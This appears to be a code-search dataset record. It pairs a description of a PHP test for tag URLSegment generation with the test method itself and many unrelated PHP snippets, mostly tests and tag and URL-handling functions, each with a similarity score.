"public function testGetTechnologies_CheckItems(): void\n {\n $expectTotalTechnology = 1;\n $expectTotalTechnologyItems = 2;\n $service = $this->app->get(TechnologyService::class);\n TechnologyModelFactory::new()\n ->has(TechnologyItemsModelFactory::new()->count(2), 'items')\n ->has(TechnologyItemsModelFactory::new()->inactive()->count(2), 'items')\n ->count(1)\n ->create();\n\n $results = $service->getTechnologies();\n\n $this->assertIsArray($results);\n $this->assertCount($expectTotalTechnology, $results);\n }",
"public function testParsedArray()\n {\n $entity = DataObjectHandler::getInstance()->getObject('testEntity');\n $this->assertCount(3, $entity->getLinkedEntities());\n }",
"function action_attach_tags_validate( $p_bug_id ) {\n\t\tglobal $g_action_attach_tags_valid;\n\t\tif ( !isset( $g_action_attach_tags_valid ) ) {\n\t\t\t$f_tag_string = gpc_get_string( 'tag_string' );\n\t\t\t$f_tag_select = gpc_get_string( 'tag_select' );\n\n\t\t\tglobal $g_action_attach_tags_attach, $g_action_attach_tags_create, $g_action_attach_tags_failed;\n\t\t\t$g_action_attach_tags_attach = array();\n\t\t\t$g_action_attach_tags_create = array();\n\t\t\t$g_action_attach_tags_failed = array();\n\n\t\t\t$t_tags = tag_parse_string( $f_tag_string );\n\t\t\t$t_can_attach = access_has_bug_level( config_get( 'tag_attach_threshold' ), $p_bug_id );\n\t\t\t$t_can_create = access_has_global_level( config_get( 'tag_create_threshold' ) );\n\n\t\t\tforeach ( $t_tags as $t_tag_row ) {\n\t\t\t\tif ( -1 == $t_tag_row['id'] ) {\n\t\t\t\t\tif ( $t_can_create && $t_can_attach ) {\n\t\t\t\t\t\t$g_action_attach_tags_create[] = $t_tag_row;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$g_action_attach_tags_failed[] = $t_tag_row;\n\t\t\t\t\t}\n\t\t\t\t} else if ( -2 == $t_tag_row['id'] ) {\n\t\t\t\t\t$g_action_attach_tags_failed[] = $t_tag_row;\n\t\t\t\t} else if ( $t_can_attach ) {\n\t\t\t\t\t$g_action_attach_tags_attach[] = $t_tag_row;\n\t\t\t\t} else {\n\t\t\t\t\t$g_action_attach_tags_failed[] = $t_tag_row;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( 0 < $f_tag_select && tag_exists( $f_tag_select ) ) {\n\t\t\t\tif ( $t_can_attach ) {\n\t\t\t\t\t$g_action_attach_tags_attach[] = tag_get( $f_tag_select );\n\t\t\t\t} else {\n\t\t\t\t\t$g_action_attach_tags_failed[] = tag_get( $f_tag_select );\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\n\t\tglobal $g_action_attach_tags_attach, $g_action_attach_tags_create, $g_action_attach_tags_failed;\n\n\t\treturn true;\n\t}",
"function check_item_main_valid() {\n\t\t$item_main = $this->data['item_main'];\n\t\t$call_list_id = $this->ESession->getCallListId($this);\n\t\t$t13_list_item = $this->T13InboundListItem->getColumnListByItemName($call_list_id, $item_main);\n\t\t$item_main_col = $t13_list_item['T13InboundListItem']['column'];\n\n\t\t$arr_item_main = $this->T17InboundTelList->getDataItemMainByIdAndItemMain($call_list_id, $item_main_col);\n\t\t$arr_item_main_diff = array_diff($arr_item_main, array(''));\n\t\t$arr_item_main_unique = array_unique($arr_item_main_diff);\n\t\tif (count($arr_item_main) == count($arr_item_main_unique)) {\n\t\t\techo 'true';\n\t\t\texit;\n\t\t}\n\t\techo 'false';\n\t\texit;\n\t}",
"public function testWithAnyTagsAndWithAnyTagsAgain(): void\n {\n /** @var Collection $models */\n $models = TestModel::withAnyTags('Apple,Banana')->withAnyTags('Cherry,Durian')->get();\n $keys = $models->modelKeys();\n\n self::assertArrayValuesAreEqual(\n [\n $this->testModel4->getKey(), //Apple, Banana, Cherry\n $this->testModel6->getKey(), //Apple, Durian\n $this->testModel7->getKey(), //Banana, Durian\n $this->testModel8->getKey(), //Apple, Banana, Durian\n ],\n $keys\n );\n }",
"private function hasCategoryLinks() {\n\t\tif ( !$this->getSkinOption( self::OPTION_CATEGORIES ) ) {\n\t\t\treturn false;\n\t\t}\n\t\t$categoryLinks = $this->getOutput()->getCategoryLinks();\n\n\t\tif ( !count( $categoryLinks ) ) {\n\t\t\treturn false;\n\t\t}\n\t\treturn !empty( $categoryLinks['normal'] ) || !empty( $categoryLinks['hidden'] );\n\t}",
"public function testProcessListArticles()\n {\n $oArticle = oxNew('oxArticle');\n\n $oListView = oxNew('manufacturerlist');\n $this->assertEquals(2, $oListView->UNITgetProductLinkType());\n }",
"public function testCollection2()\n {\n\n $this->dispatch($this->_getFacetLink('collection', 'Collection 2'));\n\n $coll1Link = $this->_getFacetLink('collection', 'Collection 1');\n $coll2Link = $this->_getFacetLink('collection', 'Collection 2');\n\n // Should remove the `Collection 1` facet link.\n $this->_assertNotFacetLink($coll1Link);\n $this->_assertFacetLink($coll2Link, 'Collection 2');\n\n // Should list items in `Collection 2`.\n $this->_assertNotResultLink(record_url($this->item1));\n $this->_assertNotResultLink(record_url($this->item2));\n $this->_assertResultLink(record_url($this->item3), 'Item 3');\n $this->_assertResultLink(record_url($this->item4), 'Item 4');\n\n }",
"function CopyUrlToTags( $f_iUrlId, $f_szTags = \"\" ) {\n\tif ( empty($f_szTags) ) {\n\t\texit('No tags, no copy!');\n\t}\n\n\tglobal $db;\n\n\t$arrTags = unaliasTags(explode(\" \", str_replace('/', ' ', str_replace('+', ' ', valid_tags($f_szTags)))));\n\t$iUrlId = (int)$f_iUrlId;\n\n\t$iAdded = 0;\n\tforeach ( $arrTags AS $szTag ) {\n\t\t// Add tag\n\t\t$iTagId = AddTag($szTag);\n\n\t\t// Insert relation\n\t\t$arrInsert = array(\n\t\t\t'url_id'\t=> $iUrlId,\n\t\t\t'tag_id'\t=> $iTagId,\n\t\t\t'utc_added'\t=> time(),\n\t\t);\n\t\ttry {\n\t\t\t$iAdded += (int)$db->insert('l_links', $arrInsert);\n\t\t}\n\t\tcatch ( db_exception $ex ) {}\n\t}\n\n\texit('OK' . $iAdded);\n\n}",
"function linkErrors($input) { // Takes an array of link input, returns array of errors (if any) or false on no errors.\n\tif(trim($input[title]) == \"\") { $error[title] = \"You must enter a link title\"; }\n\tif(!filter_var(trim($input[url]),FILTER_VALIDATE_URL)) { $error[url] = \"You must enter a valid URL\"; }\n\t\n\telse { // Check if the hostname ends in a tld, otherwise return error.\n\t\t$parsed_url = parse_url($input[url]);\n\t\t$re = \"/\\.[a-z]{2,4}$/\";\n\t\tif(!preg_match($re,$parsed_url[host])) { $error[url] = \"You must enter a valid URL\"; }\n\t\t// If the link already exists, return error.\n\t\telseif(linkExists($input[url]) && intval($input[edit]) == 0) { $error[url] = \"This link has already been posted\"; }\n\t}\n\t\t\n\tif(isset($error)) { return($error); }\n\telse { return(false); }\n}",
"public function testGetValidPostTagByPostTagTagId() {\n\t\t// count the number of rows and save it for later\n\t\t$numRows = $this->getConnection()->getRowCount( \"postTag\" );\n\n\t\t// create a new PostTag and insert to into mySQL\n\t\t$postTag = new PostTag( $this->post->getPostId(), $this->tag->getTagId() );\n\t\t$postTag->insert( $this->getPDO() );\n\n\t\t// grab the data from mySQL and enforce the fields match our expectations\n\t\t$results = PostTag::getPostTagsByPostTagTagId( $this->getPDO(), $postTag->getPostTagTagId() );\n\t\t$this->assertEquals( $numRows + 1, $this->getConnection()->getRowCount( \"postTag\" ) );\n\t\t$this->assertCount( 1, $results );\n\t\t$this->assertContainsOnlyInstancesOf( \"Edu\\\\Cnm\\\\GigHub\\\\PostTag\", $results );\n\n\t\t// grab the result from the array and validate it\n\t\t$pdoPostTag = $results[0];\n\t\t$this->assertEquals( $pdoPostTag->getPostTagPostId(), $postTag->getPostTagPostId() );\n\t\t$this->assertEquals( $pdoPostTag->getPostTagTagId(), $postTag->getPostTagTagId() );\n\t}",
"public function isCorrect()\n\t{\n\t\treturn ($this->m_items) || ($this->m_item);\n\t}"
]
| [
"0.54179895",
"0.54098463",
"0.53071284",
"0.53054684",
"0.52736783",
"0.52710754",
"0.5263339",
"0.52329594",
"0.5226551",
"0.52079725",
"0.518855",
"0.518519",
"0.5169399",
"0.5158293",
"0.5154352",
"0.51454395",
"0.51210856",
"0.5100664",
"0.5090498",
"0.50653535",
"0.5054543",
"0.504675",
"0.50188124",
"0.4966201",
"0.49524128",
"0.493311",
"0.49288955",
"0.49133152",
"0.49125832",
"0.49112934",
"0.48637995",
"0.48592788",
"0.48537284",
"0.484978",
"0.48463678",
"0.48455065",
"0.48455065",
"0.48446527",
"0.484353",
"0.4825098",
"0.48204792",
"0.4804359",
"0.4800257",
"0.47967327",
"0.478947",
"0.47868425",
"0.47830498",
"0.47786888",
"0.47748426",
"0.4769153",
"0.47664434",
"0.47491935",
"0.47454667",
"0.4745211",
"0.4728831",
"0.47208452",
"0.47118282",
"0.47067323",
"0.4687788",
"0.4687136",
"0.46832138",
"0.467818",
"0.46740872",
"0.4673084",
"0.46690553",
"0.46527004",
"0.46474874",
"0.46390393",
"0.463581",
"0.46301135",
"0.4628963",
"0.46184024",
"0.4618399",
"0.46168008",
"0.461612",
"0.46128213",
"0.4608302",
"0.46071476",
"0.4606166",
"0.45938826",
"0.45913187",
"0.45835206",
"0.4580299",
"0.45765314",
"0.45763683",
"0.45749614",
"0.45748013",
"0.45745677",
"0.45729604",
"0.45696566",
"0.456052",
"0.45544568",
"0.45397884",
"0.45375496",
"0.45372856",
"0.45370457",
"0.45318264",
"0.4530294",
"0.45289382",
"0.45221996"
]
| 0.6038376 | 0 |
See if the tags get the correct URLSegment. Tests are not deep, because the function used is the same as the News function. In the newstests, this URLSegmentgeneration is tested more thoroughly, if that one returns green, it's pretty sure to say Tags will work fine too. | public function testTagURLSegment()
{
$tag1 = $this->objFromFixture('Tag', 'tag1');
$tag2 = $this->objFromFixture('Tag', 'tag2');
$this->assertEquals('testtag-' . $tag1->ID, $tag1->URLSegment);
$this->assertEquals('testtag-' . $tag2->ID, $tag2->URLSegment);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function validURLSegment()\n {\n if (self::config()->get('nested_urls') && $this->ParentID) {\n // Guard against url segments for sub-pages\n $parent = $this->Parent();\n if ($controller = ModelAsController::controller_for($parent)) {\n if ($controller instanceof Controller && $controller->hasAction($this->URLSegment)) {\n return false;\n }\n }\n } elseif (in_array(strtolower($this->URLSegment ?? ''), $this->getExcludedURLSegments() ?? [])) {\n // Guard against url segments for the base page\n // Default to '-2', onBeforeWrite takes care of further possible clashes\n return false;\n }\n\n // If any of the extensions return `0` consider the segment invalid\n $extensionResponses = array_filter(\n (array)$this->extend('augmentValidURLSegment'),\n function ($response) {\n return !is_null($response);\n }\n );\n if ($extensionResponses) {\n return min($extensionResponses);\n }\n\n // Check for clashing pages by url, id, and parent\n $source = NestedObject::get()->filter([\n 'ClassName' => $this->ClassName,\n 'URLSegment' => $this->URLSegment,\n ]);\n\n if ($this->ID) {\n $source = $source->exclude('ID', $this->ID);\n }\n\n if (self::config()->get('nested_urls')) {\n $source = $source->filter('ParentID', $this->ParentID ? $this->ParentID : 0);\n }\n\n return !$source->exists();\n }",
"public function testAllEntitiesUrlResolverRequestHasCorrectTags(): void\n {\n $categoryUrlKey = 'cat-1.html';\n $productUrlKey = 'p002.html';\n $productSku = 'p002';\n /** @var ProductRepositoryInterface $productRepository */\n $productRepository = $this->objectManager->get(ProductRepositoryInterface::class);\n /** @var Product $product */\n $product = $productRepository->get($productSku, false, null, true);\n $storeId = (string) $product->getStoreId();\n\n /** @var UrlFinderInterface $urlFinder */\n $urlFinder = $this->objectManager->get(UrlFinderInterface::class);\n $actualUrls = $urlFinder->findOneByData(\n [\n 'request_path' => $categoryUrlKey,\n 'store_id' => $storeId\n ]\n );\n $categoryId = (string) $actualUrls->getEntityId();\n $categoryQuery = $this->buildQuery($categoryUrlKey);\n\n $productQuery = $this->buildQuery($productUrlKey);\n\n /** @var GetPageByIdentifierInterface $page */\n $page = $this->objectManager->get(GetPageByIdentifierInterface::class);\n /** @var PageInterface $cmsPage */\n $cmsPage = $page->execute('page100', 0);\n $cmsPageId = (string) $cmsPage->getId();\n $requestPath = $cmsPage->getIdentifier();\n $pageQuery = $this->buildQuery($requestPath);\n\n // query category for MISS\n $response = $this->dispatchGraphQlGETRequest(['query' => $categoryQuery]);\n $this->assertCacheMISSWithTagsForCategory($categoryId, $response);\n\n // query product for MISS\n $response = $this->dispatchGraphQlGETRequest(['query' => $productQuery]);\n $this->assertCacheMISSWithTagsForProduct((string) $product->getId(), $response);\n\n // query page for MISS\n $response = $this->dispatchGraphQlGETRequest(['query' => $pageQuery]);\n $this->assertCacheMISSWithTagsForCmsPage($cmsPageId, $response);\n\n // query category for HIT\n $response = $this->dispatchGraphQlGETRequest(['query' => $categoryQuery]);\n $this->assertCacheHITWithTagsForCategory($categoryId, $response);\n\n // query product for HIT\n $response = $this->dispatchGraphQlGETRequest(['query' => $productQuery]);\n $this->assertCacheHITWithTagsForProduct((string) $product->getId(), $response);\n\n // query page for HIT\n $response = $this->dispatchGraphQlGETRequest(['query' => $pageQuery]);\n $this->assertCacheHITWithTagsForCmsPage($cmsPageId, $response);\n\n $product->setUrlKey('something-else-that-invalidates-the-cache');\n $productRepository->save($product);\n $productQuery = $this->buildQuery('something-else-that-invalidates-the-cache.html');\n\n // query category for MISS\n $response = $this->dispatchGraphQlGETRequest(['query' => $categoryQuery]);\n $this->assertCacheMISSWithTagsForCategory($categoryId, $response);\n\n // query product for MISS\n $response = $this->dispatchGraphQlGETRequest(['query' => $productQuery]);\n $this->assertCacheMISSWithTagsForProduct((string) $product->getId(), $response);\n\n // query page for HIT\n $response = $this->dispatchGraphQlGETRequest(['query' => $pageQuery]);\n $this->assertCacheHITWithTagsForCmsPage($cmsPageId, $response);\n }",
"public function testTag()\n {\n $tag1 = $this->objFromFixture('Tag', 'tag1');\n $tag2 = $this->objFromFixture('Tag', 'tag2');\n $entry1 = $this->objFromFixture('News', 'item1');\n $entry2 = $this->objFromFixture('News', 'item2');\n $entry3 = $this->objFromFixture('News', 'item3');\n\n $this->assertEquals($tag1->News()->count(), 6, 'Tag 1 to items');\n $this->assertEquals($tag2->News()->count(), 4, 'Tag 2 to items');\n $this->assertEquals($entry1->Tags()->count(), 1, 'Tags on item 1');\n $this->assertEquals($entry2->Tags()->count(), 2, 'Tags on item 2');\n $this->assertEquals($entry3->Tags()->count(), 0, 'Tags on item 0');\n }",
"function ViewUrlsByTag( $f_szTags = '' ) {\n\tglobal $db;\n\n\t$g_szTag = $f_szTags;\n\n\t$script = $_SERVER['PHP_SELF'];\n\t$szBasePath = rtrim(dirname($script), '/') . '/';\n\n\t$mobile = isset($_GET['mobile']) || ( isset($_SERVER['HTTP_USER_AGENT']) && is_int(strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'mobi')) );\n\n\t// $arrInTags = explode(' ', $g_szTag);\n\t// $szWhereClause = 1 == count($arrInTags) ? \"(l_tags.tag = '\".$arrInTags[0].\"')\" : \"(l_tags.tag = '\".implode(\"' OR l_tags.tag = '\", $arrInTags).\"')\";\n\n\tif ( '~new' == $g_szTag ) {\n\t\t$szQuery = 'SELECT * FROM l_urls ORDER BY id DESC LIMIT 250;';\n\t}\n\telse {\n\t\t$tags = unaliasTags(preg_split('#[\\/\\s]+#', $g_szTag));\n\t\t$and = !strstr($g_szTag, \"/\");\n\n\t\t$szQuery = $db->replaceholders('\n\t\t\tSELECT u.*, COUNT(1) as matching\n\t\t\tFROM l_links l, l_tags t, l_urls u\n\t\t\tWHERE l.url_id = u.id AND l.tag_id = t.id AND t.tag in (?)\n\t\t\tGROUP BY u.id\n\t\t', array($tags));\n\t\tif ( $and ) {\n\t\t\t$szQuery .= $db->replaceholders(' HAVING matching = ?', array(count($tags)));\n\t\t}\n\t\t$szQuery .= ' ORDER BY u.id DESC';\n\t}\n\n\t$arrUrls = $db->fetch($szQuery)->all();\n\n\trequire 'tpl.index.php';\n\n}",
"public function testUrlLikeTags(array $test) {\n $this->performTest($test);\n }",
"function valid_news_url($val)\n{\n $news=explode('/',$val);\n if($news[1]=='news'){\n return true;\n }else{\n return false;\n }\n //print_r($news);\n\n}",
"public function testTags()\n\t{\n\t\t$this->call('GET', '/api/tags');\n\t}",
"public function testGetTags()\n {\n $objects = $this->loadTestFixtures(['@AppBundle/DataFixtures/ORM/Test/Tag/CrudData.yml']);\n\n // Test scope\n $this->restScopeTestCase('/api/tags', [\n 'list' => $this->getScopeConfig('tag/list.yml')\n ], true);\n\n // Test filters\n $listFilterCaseHandler = new ListFilterCaseHandler([\n 'tag-1' => $objects['tag-1']\n ]);\n \n $listFilterCaseHandler->addCase('name', '=Some name', 'tag-1', true);\n\n $this->restListFilterTestCase('/api/tags', $listFilterCaseHandler->getCases());\n }",
"public function testFragmentExists()\n {\n self::setupSystems();\n $ret = DALBaker::fragmentExists('MergeSys2', 'getAttributesTextAttribute', 'MergeSys1.getLinks');\n PHPUnit_Framework_Assert::assertTrue($ret);\n\n }",
"public function testTagParsing() {\n\t\t$info = Inspector::info(__METHOD__ . '()');\n\t\t$result = Docblock::comment($info['comment']);\n\t\t$this->assertEqual('This is a short description.', $result['description']);\n\n\t\t$expected = \"This is a longer description...\\nThat contains\\nmultiple lines\";\n\t\t$this->assertEqual($expected, $result['text']);\n\n\t\t$tags = $result['tags'];\n\t\t$expected = ['deprecated', 'important', 'discuss', 'link', 'see', 'return'];\n\t\t$this->assertEqual($expected, array_keys($tags));\n\n\t\t$result = \"This is a tag that\\n spans\\n several\\n lines.\";\n\t\t$this->assertEqual($result, $tags['discuss'][0]);\n\t\t$this->assertEqual(\"The second discussion item\", $tags['discuss'][1]);\n\n\t\t$this->assertEqual('void This tag contains a [email protected].', $tags['return']);\n\t\t$this->assertEqual([], Docblock::tags(null));\n\n\t\t$this->assertEqual(['params' => []], Docblock::tags(\"Foobar\\n\\n@param string\"));\n\t}",
"function get_segments($ignore_custom_routes=NULL) {\n $psuedo_url = str_replace('://', '', BASE_URL);\n $psuedo_url = rtrim($psuedo_url, '/');\n $bits = explode('/', $psuedo_url);\n $num_bits = count($bits);\n\n if ($num_bits>1) {\n $num_segments_to_ditch = $num_bits-1;\n } else {\n $num_segments_to_ditch = 0;\n }\n\n $assumed_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? \"https\" : \"http\") . \"://\" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];\n\n if (!isset($ignore_custom_routes)) {\n $assumed_url = attempt_add_custom_routes($assumed_url);\n }\n\n $data['assumed_url'] = $assumed_url;\n\n $assumed_url = str_replace('://', '', $assumed_url);\n $assumed_url = rtrim($assumed_url, '/');\n\n $segments = explode('/', $assumed_url);\n\n for ($i=0; $i < $num_segments_to_ditch; $i++) { \n unset($segments[$i]);\n }\n\n $data['segments'] = array_values($segments); \n return $data;\n}",
"public function testGetTags() {\n $this->assertEquals([\n 'example',\n 'template',\n 'templateMissing',\n 'inline',\n 'inlineAllowInline',\n 'inlineAllowBlock',\n 'inlineAllowBoth',\n 'block',\n 'blockAllowInline',\n 'blockAllowBlock',\n 'blockAllowBoth',\n 'attributes',\n 'fooBar',\n 'parent',\n 'parentNoPersist',\n 'parentWhitelist',\n 'parentBlacklist',\n 'whiteChild',\n 'blackChild',\n 'depth',\n 'lineBreaksRemove',\n 'lineBreaksPreserve',\n 'lineBreaksConvert',\n 'pattern',\n 'autoClose',\n 'aliasBase',\n 'aliased'\n ], array_keys($this->object->getTags()));\n }",
"public function testGetTags()\n {\n $helix = new Helix(self::$tokenProvider);\n $tagsApi = $helix->tags;\n $tags = $tagsApi->getTags();\n \n $this->assertNotNull($tags);\n $this->assertIsArray($tags);\n\n // Twitch should have more than 20 available tags, so we check that the cursor is available\n $hasMoreResults = $tagsApi->hasMoreTags();\n $this->assertTrue($hasMoreResults);\n\n // Try to get a specific tag by its ID, using the previous results to get the ID.\n $firstTag = reset($tags);\n $onlyTag = $tagsApi->getTags([$firstTag->tag_id]);\n\n $this->assertCount(1, $onlyTag);\n $this->assertEquals($firstTag, reset($onlyTag));\n\n return $firstTag->tag_id;\n }",
"function urlSegment($int=''){\n $input = get('url');\n $input = explode('/', $input);\n $int--;\n return $input[$int];\n }",
"public function testGetTag() {\n $expected = [\n 'tag' => 'example',\n 'htmlTag' => 'example',\n 'template' => '',\n 'displayType' => Decoda::TYPE_BLOCK,\n 'allowedTypes' => Decoda::TYPE_BOTH,\n 'aliasFor' => '',\n 'attributes' => [],\n 'mapAttributes' => [],\n 'htmlAttributes' => [],\n 'aliasAttributes' => [],\n 'escapeAttributes' => true,\n 'lineBreaks' => Decoda::NL_CONVERT,\n 'autoClose' => false,\n 'preserveTags' => false,\n 'onlyTags' => false,\n 'contentPattern' => '',\n 'stripContent' => false,\n 'parent' => [],\n 'childrenWhitelist' => [],\n 'childrenBlacklist' => [],\n 'maxChildDepth' => -1,\n 'persistContent' => true\n ];\n\n $this->assertEquals($expected, $this->object->getTag('example'));\n\n try {\n $this->object->getTag('fakeTag');\n $this->assertTrue(false);\n } catch (\\Exception $e) {\n $this->assertTrue(true);\n }\n }",
"function _get_item_segments()\n{\n$segments = \"musical/instrument/\";\nreturn $segments;\n\n}",
"public function testShowSecondTagItemfromIndex()\n {\n $client = static::createClient();\n\n $client->followRedirects(true);\n $crawler = $client->request('GET', '/tag');\n $link= $crawler->selectLink('show')\n ->eq(1)\n ->link();\n\n $this->assertEquals(\n\n $link->getUri(),'http://localhost/tag/2');\n\n }",
"private function analyzeURL() {\n\t\tif (!$this->_isAnalyzed) {\n\t\t\t// Don't call this method twice!\n\t\t\t$this->_isAnalyzed = true;\n\t\t\t$this->_isAnalyzing = true;\n\t\t\t\n\t\t\ttry {\n\t\t\t\ttry {\n\t\t\t\t\t$trunkURL = new URL(Config::getEmptyURLPrefix());\n\t\t\t\t} catch (FormatException $e) {\n\t\t\t\t\tthrow new CorruptDataException('The url prefix is not a valid url: '.\n\t\t\t\t\t\tConfig::getEmptyURLPrefix());\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// The request url might not be a valid url...\n\t\t\t\ttry {\n\t\t\t\t\t$requestURL = new URL($this->_url);\n\t\t\t\t} catch (FormatException $e) {\n\t\t\t\t\t$this->_pageNode = new PageNotFoundNode(new StructurePageNode(), '');\n\t\t\t\t\t$this->_relativeRequestURL = '';\n\t\t\t\t\t$this->_isAnalyzing = false;\n\t\t\t\t\t$this->_project = Project::getOrganization();\n\t\t\t\t\t$this->_language = Language::getDefault();\n\t\t\t\t\t$this->_edition = Edition::COMMON;\n\t\t\t\t\treturn; \n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// We can't use the URL class here because the template contains\n\t\t\t\t// characters ({ and }) that are now allowed in a url\n\t\t\t\tpreg_match('/[^:]+\\:\\/\\/(?P<host>[^\\/]+)(?<path>.*)/i',\n\t\t\t\t\tConfig::getURLTemplate(), $matches);\n\t\t\t\t$templateHost = $matches['host'];\n\t\t\t\t$templatePath = $matches['path'];\n\t\t\t\t\t\n\t\t\t\t// Goes through all elements and checks if they match to any available\n\t\t\t\t// template.\n\t\t\t\t// Returns the index of the element after the last used one\n\t\t\t\t$walker = function($elements, $templates, $trunkElements,\n\t\t\t\t\t$breakOnFailure, $state)\n\t\t\t\t{\n\t\t\t\t\tif (count($trunkElements)) {\n\t\t\t\t\t\tif (count($elements) > count($trunkElements))\n\t\t\t\t\t\t\tarray_splice($elements, -count($trunkElements));\n\t\t\t\t\t\tif (count($templates) > count($trunkElements))\n\t\t\t\t\t\t\tarray_splice($templates, -count($trunkElements));\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tfor ($i = 0; $i < count($elements); $i++) {\n\t\t\t\t\t\t$element = $elements[$i];\n\t\t\t\t\t\tforeach ($templates as $templateKey => $template) {\n\t\t\t\t\t\t\t// Check if the lement matches the template. Test the strongest\n\t\t\t\t\t\t\t// defined template at first.\n\t\t\t\t\t\t\t$ok = false;\n\t\t\t\t\t\t\tswitch ($template) {\n\t\t\t\t\t\t\t\tcase '{edition}':\n\t\t\t\t\t\t\t\t\tswitch ($element) {\n\t\t\t\t\t\t\t\t\t\tcase 'mobile':\n\t\t\t\t\t\t\t\t\t\t\t$state->edition = Edition::MOBILE;\n\t\t\t\t\t\t\t\t\t\t\t$ok = true;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\tcase 'print':\n\t\t\t\t\t\t\t\t\t\t\t$state->edition = Edition::PRINTABLE;\n\t\t\t\t\t\t\t\t\t\t\t$ok = true;\n\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tcase '{language}':\n\t\t\t\t\t\t\t\t\t$lang = Language::getByName($element);\n\t\t\t\t\t\t\t\t\tif ($lang) {\n\t\t\t\t\t\t\t\t\t\t$state->language = $lang;\n\t\t\t\t\t\t\t\t\t\t$ok = true;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// If the element matches the template, \n\t\t\t\t\t\t\tif ($ok) {\n\t\t\t\t\t\t\t\tunset($templates[$templateKey]);\n\t\t\t\t\t\t\t\t// unset does not reorder the indices, so use array_splice\n\t\t\t\t\t\t\t\tarray_splice($elements, 0, 1);\n\t\t\t\t\t\t\t\t$i--;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ($breakOnFailure && !$ok) {\n\t\t\t\t\t\t\tarray_splice($elements, 0, $i);\n\t\t\t\t\t\t\treturn $elements;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn $elements;\n\t\t\t\t};\n\t\t\t\t\n\t\t\t\t// requestURL - emptyURLPrefix = significant data\n\t\t\t\t// urlTemplate - emptyURLPrefix = template for the data\n\t\t\t\t\n\t\t\t\t$state = (object)\n\t\t\t\t\t(array('edition' => Edition::COMMON, 'language' => null));\n\t\t\t\t\n\t\t\t\t// Domain part\n\t\t\t\t$trunkElements = self::explodeRemoveEmpty($trunkURL->getHost(), '.');\n\t\t\t\t$elements = self::explodeRemoveEmpty($requestURL->getHost(), '.');\n\t\t\t\t$templates = self::explodeRemoveEmpty($templateHost, '.');\n\t\t\t\tcall_user_func($walker, $elements, $templates, $trunkElements, false,\n\t\t\t\t\t$state);\n\t\t\t\t\n\t\t\t\t// Path part\n\t\t\t\t$trunkElements = self::explodeRemoveEmpty($trunkURL->getPath(), '/');\n\t\t\t\t$elements = self::explodeRemoveEmpty($requestURL->getPath(), '/');\n\t\t\t\t$templates = self::explodeRemoveEmpty($templatePath, '/');\n\t\t\t\t$elements = call_user_func($walker, $elements, $templates,\n\t\t\t\t\t$trunkElements, true, $state);\n\t\n\t\t\t\tif (!$state->language) {\n\t\t\t\t\tforeach (self::parseHTTPLanguageHeader() as $code) {\n\t\t\t\t\t\tif ($lang = Language::getByName($code)) {\n\t\t\t\t\t\t\t$state->language = $lang;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif (!$state->language)\n\t\t\t\t\t\t$state->language = Language::getDefault();\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t$this->_language = $state->language;\n\t\t\t\t$this->_edition = $state->edition;\n\t\t\t\t\n\t\t\t\t$this->_relativeRequestURL = implode('/', $elements);\n\t\t\t\t\n\t\t\t\tif (!$node = PageNode::fromPath($elements, $impact, $isBackend)) {\n\t\t\t\t\tif ($isBackend) {\n\t\t\t\t\t\t$rest = $this->_relativeRequestURL;\n\t\t\t\t\t\tif ($impact)\n\t\t\t\t\t\t\t$rest = Strings::substring($rest,\n\t\t\t\t\t\t\t\tStrings::length($impact->getURL()) - ($rest[0] == '!' ? 2 : 0));\n\t\t\t\t\t\t$node = new BackendPageNotFoundNode($impact, $rest);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$node = new PageNotFoundNode($impact,\n\t\t\t\t\t\t\tStrings::substring($this->_relativeRequestURL,\n\t\t\t\t\t\t\t\tStrings::length($impact->getURL())));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$this->_pageNode = $node;\n\t\t\t\t$this->_project = $node->getProject();\n\t\t\t} catch (\\Exception $e) {\n\t\t\t\t$this->_isAnalyzing = false;\n\t\t\t\tthrow $e;\n\t\t\t}\n\t\t\t$this->_isAnalyzing = false;\n\t\t}\n\t}",
"public function LookForExistingURLSegment($URLSegment)\n {\n return (Tag::get()->filter(array('URLSegment' => $URLSegment))->exclude(array('ID' => $this->ID))->count() !== 0);\n }",
"public function test_getTagRequest() {\n\n }",
